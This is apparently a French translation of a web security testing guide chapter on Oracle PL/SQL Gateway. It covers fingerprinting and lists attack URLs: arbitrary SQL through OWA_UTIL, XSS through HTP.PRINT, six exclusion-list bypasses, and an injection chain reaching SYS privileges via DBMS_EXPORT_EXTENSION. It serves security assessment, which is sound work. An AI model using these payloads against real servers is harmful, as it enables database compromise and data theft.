4.8.5.1 Tester Oracle

Sommaire
Les applications web qui utilisent PL/SQL passent par la passerelle PL/SQL Gateway, qui est le composant traduisant les requêtes web en requêtes de bases de données. Oracle a développé un certain nombre d'implémentations logicielles : l'ancien produit web listener, le module Apache mod_plsql, le serveur web XML Database (XDB). Chacune d'elles a ses bizarreries et ses problèmes, que nous allons détailler dans ce chapitre. Les produits qui utilisent PL/SQL Gateway comprennent, mais ne sont pas limités à, Oracle HTTP Server, eBusiness Suite, Portal, WebDB et l'Oracle Application Server.

Comment fonctionne PL/SQL Gateway
PL/SQL Gateway agit essentiellement comme un simple serveur proxy recevant les requêtes web de l'utilisateur et les passant à la base de données, où elles seront exécutées.


 * 1) Le serveur web reçoit une requête d'un client web et détermine si elle doit être traitée par PL/SQL Gateway.
 * 2) PL/SQL Gateway traite la requête en lisant le nom du packetage demandé, la procédure et les variables.
 * 3) Le paquetage demandé et la procédure sont encapsulés dans un block PL/SQL anonyme, et envoyés vers le serveur de base de données.
 * 4) Le serveur de base de données exécute la procédure et renvoie les résultats à PL/SQL Gateway en HTML.
 * 5) La passerelle renvoie la réponse, via le serveur web, au client.

Il est important de bien comprendre ce point : le code PL/SQL n'existe pas sur le serveur web, mais plutôt dans le serveur de base de données. Cela signifie que toute faiblesse dans PL/SQL Gateway ou toute faiblesse dans l'application PL/SQL, quand elle est exploitée, donne à un attaquant un accès direct au serveur de base de données ; aucun pare-feu ne peut empêcher cela.

Les URLs destinées à PL/SQL des applications web sont normalement facilement reconnaissables et commencent généralement par ce qui suit (xyz peut être n'importe quelle chaîne et représente un descripteur d'accès de base de données, que nous allons voir plus loin) :

http://www.example.com/pls/xyz http://www.example.com/xyz/owa http://www.example.com/xyz/plsql

Alors que les deuxième et troisième de ces exemples représentent des URLs d'anciennes versions de PL/SQL Gateway, le premier provient d'une version récente tournant sur Apache. Dans le fichier de configuration Apache plsql.conf, /pls est le défaut, spécifiant le chemin avec le module PLS comme responsable de traitement. Le chemin n'a pas besoin d'être /pls, cependant. L'absence d'une extension de nom de fichier dans une URL pourrait indiquer la présence d'Oracle PL/SQL Gateway. Considérons l'URL suivante :

http://www.server.com/aaa/bbb/xxxxx.yyyyy

Si xxxxx.yyyyy était remplacé par quelque chose ressemblant à “ebank.home,” “store.welcome,” “auth.login,” ou “books.search,”, alors il y a de grandes chances qur PL/SQL Gateway soit utilisé. Il est aussi possible de préfixer le paquetage et la procedure demandés par le nom de l'utilisateur qui les possède, c'est-à-dire le schéma, dans ce cas l'utilisateur est "webuser" :

http://www.server.com/pls/xyz/webuser.pkg.proc

Dans cette URL, xyz est le descripteur d'accès à la base (Database Access Descriptor), ou DAD. Un DAD spécifie les informations concernant un serveur de base de données afin que PL/SQL Gateway puisse s'y connecter. Il contient des informations telles que la chaîne de connexion TNS, l'ID utilisateur et son mot de passe, les méthodes d'authentification, etc. Ces DADs sont définis dans le fichie de configuration Apache dads.conf dans les versions récentes, ou dans le fichier wdbsvr.app dans les anciennes versions. Quelques DADs par défaut comprennent ce qui suit :

SIMPLEDAD HTMLDB ORASSO SSODAD PORTAL PORTAL2 PORTAL30 PORTAL30_SSO TEST DAD APP ONLINE DB OWA

Vérifier que PL/SQL Gateway est lancé Lorsque l'on évalue un serveur, il est important de commencer par déterminer à quelle technologie on a à faire. Si on ne le sait pas à l'avance, par exemple dans un scénario en boite noire, la première chose à faire est de le découvrir. Découvrir qu'une application web utilise PL/SQL est assez aisé. Tout d'abord, il y a le format de l'URL et sa structure, comme vue précedemment. Ensuite, il y a un ensemble de tests simples qui peuvent être effectués pour détecter la présence de PL/SQL Gateway.

Entêtes de réponse du serveur Les entêtes des réponses du serveur web sont un bon indicateur pour savoir si le serveur utilise PL/SQL Gateway. La table ci-dessous donne une liste des entêtes de réponses typiques :

Oracle-Application-Server-10g Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N) Oracle-Application-Server-10g/9.0.4.0.0 Oracle HTTP Server Powered by Apache Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0 Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition Oracle_Web_Listener/4.0.8.2EnterpriseEdition Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition Oracle_Web_listener3.0.2.0.0/2.14FC1 Oracle9iAS/9.0.2 Oracle HTTP Server Oracle9iAS/9.0.3.1 Oracle HTTP Server

Le test NULL En PL/SQL, "null" est une expression parfaitement acceptable :

SQL> BEGIN 2 NULL; 3 END; 4 / PL/SQL procedure successfully completed.

On peut utiliser ceci pour tester si le server utilise PL/SQL Gateway. On prend simplement le DAD et on ajoute NULL, puis NOSUCHPROC :

http://www.example.com/pls/dad/null http://www.example.com/pls/dad/nosuchproc

Si le serveur répond 200 OK pour le permier test et 404 Not Found poure le second, cela indique qu'il utilise PL/SQL Gateway.

Accès à un paquetage connu Sur les anciennes version de PL/SQL Gateway, il est possible d'accèder directement aux paquetages composant le PL/SQL Web Toolkit tels que OWA et HTP. L'un de ces paquetages est OWA_UTIL, que nous allons décrire plus loin. Ce paquetage contient une procédure appelée SIGNATURE qui affiche simplement une signature PL/SQL en HTML. Ainsi la requête

http://www.example.com/pls/dad/owa_util.signature

renvoie la sortie suivante dans la page web

"This page was produced by the PL/SQL Web Toolkit on date"

ou

"This page was produced by the PL/SQL Cartridge on date"

Si l'on obtient une réponse 403 Forbidden, cela implique que PL/SQL Gateway est lancé. C'est la réponse que devrait donner les versions récentes ou mises à jour.

Accèder arbitrairement à des paquetages PL/SQL dans la base de données Il est possible d'exploiter des vulnérabilités dans les paquetages PL/SQL installés par défaut sur le serveur de base de données. La méthode à utiliser dépend de la version de PL/SQL Gateway. Dans les anciennes versions de PL/SQL Gateway, rien n'empêchait un attaquant d'accèder à un paquetage PL/SQL donné sur le serveur de base de données. Le paquetage OWA_UTIL déjà mentionné plus haut peut être utilisé pour exécuter des requêtes SQL arbitraires :

http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS

On peut lancer des attaques XSS via le paquetage HTP :

http://www.example.com/pls/dad/HTP.PRINT?CBUF= alert('XSS')

Cela est clairement dangereux, Oracle a donc fourni une liste d'exclusion PL/SQL pour empêcher les accès directs à de telles procédures risquées. Les éléments interdits comprennent toutes les requêtes commançant par SYS.*, DBMS.*, HTP.* ou OWA.*. Il est cependant possible de contourner la liste d'exclusion. De plus la liste d'exclusion n'empêche pas les accès aux paquetages des schémas CTXSYS, MDSYS ou autres. Il est donc possible d'exploiter des failles dans ces paqueetages :

http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL

Cette requête va retourner une page HTML vide avec un code 200 OK si le serveur de base de données est encore vulnérable à cette faille (CVE-2006-0265)

Tester les failles de PL/SQL Gateway
Au fil des années, l'Oracle PL/SQL Gateway a souffert de nombreuses failles, y compris des accès aux pages d'administration (CVE-2002-0561), des débordements de tampon (CVE-2002-0559), des bogues de directory traversal, et des vulnérabilités permettant les attaquants de contourner la liste d'exclusion et d'exécuter des paquetages PL/SQL quelconques dans le serveur de base de données.

Contournement de la liste d'exclusion PL/SQL Oracle a tenté un nombre incroyable de fois de corriger les failles permettant de contourner la liste d'exclusion. Chaque patch produit par Oracle a été victime de nouvelles techniques de contournement. On peut en trouver un triste historique ici : http://seclists.org/fulldisclosure/2006/Feb/0011.html

Contournement de la liste d'exclusion PL/SQL - Méthode 1 Quand Oracle a sorti la première version de la liste d'exclusion pour empêcher les attaquants d'accéder arbitrairement à des paquetages PL/SQL, elle pouvait être contournée de manière triviale en préfixant le nom du schéma/paquetage par un caractère newline, espace ou tab, encodé en hexa :

http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC

Contournement de la liste d'exclusion PL/SQL - Méthode 2 Les versions suivantes de la PL/SQL Gateway permettaient aux attaquant de contourner la liste d'exclusion en préfixant le nom du schéma/paquetage avec un label. En PL/SQL, un label pointe sur une ligne du code qui peut être la cible d'une instruction GOTO. Cela prend la forme : <>

http://www.example.com/pls/dad/<>SYS.PACKAGE.PROC

Contournement de la liste d'exclusion PL/SQL - Méthode 3 Placer simplement le nom du schéma/paquetage entre guillemets peut permettre à un attaquant de contourner la liste d'exclusion. Il faut noter que cela ne fonctionnera pas avec Oracle Application Server 10g puisqu'il converti les requêtes utilisateurs en minuscules avant de les envoyer vers le serveur de base de données, alors qu'un quote literal est sensible à la casse. Ainsi "SYS" et "sys" ne sont pas équivalents, et un requête sur le second aboutiera à une erreur 404 Not Found. Cependant dans les versions précédentes la requête suivante peut contourner la liste d'exclusion :

http://www.example.com/pls/dad/"SYS".PACKAGE.PROC

Contournement de la liste d'exclusion PL/SQL - Méthode 4 Selon le jeu de caractères utilisé sur le serveur web et sur le serveur de base de données, certains caractères peuvent être converti. Ainsi, le caractère "ÿ" (0xFF) peut être converti en "Y" dans le serveur de base de données. Un autre caractère, Macron (0xAF) est aussi souvent converti en "Y" majuscule. Cela peut permettre à un attaquant de contourner la liste d'exclusion :

http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC

Contournement de la liste d'exclusion PL/SQL - Méthode 5 Certaines version de la PL/SQL Gateway permettent le contournement de la liste d'exclusion avec un backslash (0x5C) :

http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC

Contournement de la liste d'exclusion PL/SQL - Méthode 6 Cette méthode est la plus complexe et la plus récemment corrigée. Considérons la requête suivante :

http://www.example.com/pls/dad/foo.bar?xyz=123

le serveur d'application exécuterait ce qui suit sur le serveur de base de données :

1 declare 2 rc__ number; 3 start_time__ binary_integer; 4 simple_list__ owa_util.vc_arr; 5 complex_list__ owa_util.vc_arr; 6 begin 7 start_time__ := dbms_utility.get_time; 8 owa.init_cgi_env(:n__,:nm__,:v__); 9 htp.HTBUF_LEN := 255; 10 null; 11 null; 12 simple_list__(1) := 'sys.%'; 13 simple_list__(2) := 'dbms\_%'; 14 simple_list__(3) := 'utl\_%'; 15 simple_list__(4) := 'owa\_%'; 16 simple_list__(5) := 'owa.%'; 17 simple_list__(6) := 'htp.%'; 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then 20  rc__ := 2; 21 else 22  null; 23  orasso.wpg_session.init; 24  foo.bar(XYZ=>:XYZ); 25  if (wpg_docload.is_file_download) then 26   rc__ := 1; 27   wpg_docload.get_download_file(:doc_info); 28   orasso.wpg_session.deinit; 29   null; 30   null; 31   commit; 32  else 33   rc__ := 0; 34   orasso.wpg_session.deinit; 35   null; 36   null; 37   commit; 38   owa.get_page(:data__,:ndata__); 39  end if; 40 end if; 41 :rc__ := rc__; 42 :db_proc_time__ := dbms_utility.get_time—start_time__; 43 end;

A la ligne 19, la requête de l'utilisateur est comparée à une liste de "mauvaises" chaînes, c'est à dire à la liste d'exclusion. Si le paquetage et la procédure demandés ne contiennent de mauvaises chaînes, alors la procédure est exécutée en ligne 24. Le paramètre XYZ est passé en variable liée.

Si maintenant on envoie cette requête :

http://server.example.com/pls/dad/INJECT'POINT

le code PL/SQL suivant est exécuté :

.. 18 simple_list__(7) := 'htf.%'; 19 if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then 20  rc__ := 2; 21 else 22  null; 23  orasso.wpg_session.init; 24  inject'point; ..

Cela génère un message d'erreur dans les logs : “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” Ce que nous voyons ici est qu'il y moyen d'injecter du code SQL arbitraire. Cela peut être utilisé pour contourner la liste d'exclusion. Tout d'abord, l'attaquant doit trouver une procédure PL/SQL n'acceptant aucun paramètre et n'apparaissant pas dans la liste d'exclusion. Beaucoup de procédures fournies dans les paquetages par défaut satisfont à ce critère, par exemple :

JAVA_AUTONOMOUS_TRANSACTION.PUSH XMLGEN.USELOWERCASETAGNAMES PORTAL.WWV_HTP.CENTERCLOSE ORASSO.HOME WWC_VERSION.GET_HTTP_DATABASE_INFO

Un attaquant doit choisir une de ces fonctions réellement disponible sur le système cible (c'est-à-dire qu'elle retourne un code 200 OK quand on l'appelle). Pour vérifier cela, l'attaquant peut envoyer la requête :

http://server.example.com/pls/dad/orasso.home?FOO=BAR

le serveur devrait retourner un réponse "404 File Not Found" puisque la procédure orasso.home ne nécessite pas de paramètre, alors qu'un paramètre a été fourni. Cependant, avant que le code 404 soit retourné, le code PL/SQL suivant est exécuté :

.. .. if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then rc__ := 2; else null; orasso.wpg_session.init; orasso.home(FOO=>:FOO); ..   ..

Il faut remarquer la présence du paramètre FOO dans la chaîne de la requête de l'attaquant. Les attaquant peuvent abuser de cela pour exécuter du code SQL arbitraire. D'abord ils doivent fermer les chevrons :

http://server.example.com/pls/dad/orasso.home?);--=BAR

Cela résulte par l'exécution de ce code PL/SQL : .. orasso.home;--=>:);--); ..

A remarquer que le code situé après le double moins (--) est considéré comme un commentaire. Cette requête va cause une erreur interne au serveur, puisque les variables liées ne sont plus utilisées, l'attaquant doit donc les ajouter de nouveau. Il s'avère que cette variable liée est la clef pour exécuter du code PL/SQL arbitraire. Pour le moment, il suffit d'essayer d'utiliser HTP.PRINT pour afficher BAR, et d'ajouter la variable nécessaire :1 :

http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR

Cela devrait retourner un code 200 et le mot "BAR" dans la page HTML. Ce qui se passe ici est que tout ce qui se trouve après le signe égal, BAR dans ce cas, est de la donnée insérée dans la variable liée. En utilisant la même technique il est aussi possible d'accéder à owa_util.cellsprint :

http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS

Pour exécuter du code SQL arbitraire, y compris des instructions DML et DDL, l'attaquant insère un execute immediate :1 :

http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual

Remarquons que la sortie ne sera pas affichée. Cela peut être utilisé pour exploiter des bogues d'injection PL/SQL avec les droits SYS, ce qui permet de prendre le contrôle complet du serveur de base de données. Par exemple, l'URL suivante profite de failles d'injection SQL dans DBMS_EXPORT_EXTENSION (voir http://secunia.com/advisories/19860) :

http://www.example.com/pls/dad/orasso.home?); execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20 BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES ('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1); EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20 PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL''; END;--','SYS',1,'VER',0);END;

Evaluation d'applications PL/SQL personnalisées
Lors d'une évaluation de sécurité en boite noire, le code PL/SQL spécifique à l'application n'est pas disponible, mais sa sécurité doit tout de même être évaluée.

Test d'injection SQL Chaque paramètre d'entrée doit être testé pour détecter les faille d'injection SQL. C'est facile à trouver et confirmer. Trouver les failles est aussi simple que d'insérer une simple quote dans un paramètre et de vérifier les remontées d'erreur (y compris les erreurs 404 Not Found). La confirmation de la présence d'un injection SQL se fait avec l'opérateur de concaténation.

Par exemple, prenons une application web PL/SQL de libraire en ligne, qui permet de recherche les livres d'un auteur donné :

http://www.example.com/pls/bookstore/books.search?author=DICKENS

Si cette requête renvoie les livres de Charles Dickens, mais que

http://www.example.com/pls/bookstore/books.search?author=DICK'ENS

renvoie une erreur ou un code 404, il peut y avoir une faille d'injection SQL. On peut confirmer cela en utilisant l'opérateur de concaténation :

http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS

Si cette requête retourne les livres de Charles Dickens, la présence d'une vulnérabilité d'injection SQL est confirmée.

Outils

 * SQLInjector - http://www.databasesecurity.com/sql-injector.htm
 * Orascan (Oracle Web Application VA scanner), NGS SQuirreL (Oracle RDBMS VA Scanner) - http://www.nccgroup.com/en/our-services/security-testing-audit-compliance/information-security-software/ngs-orascan/

Références
Whitepapers
 * Hackproofing Oracle Application Server (A Guide to Securing Oracle 9) - http://www.itsec.gov.cn/docs/20090507151158287612.pdf
 * Oracle PL/SQL Injection - http://www.databasesecurity.com/oracle/oracle-plsql-2.pdf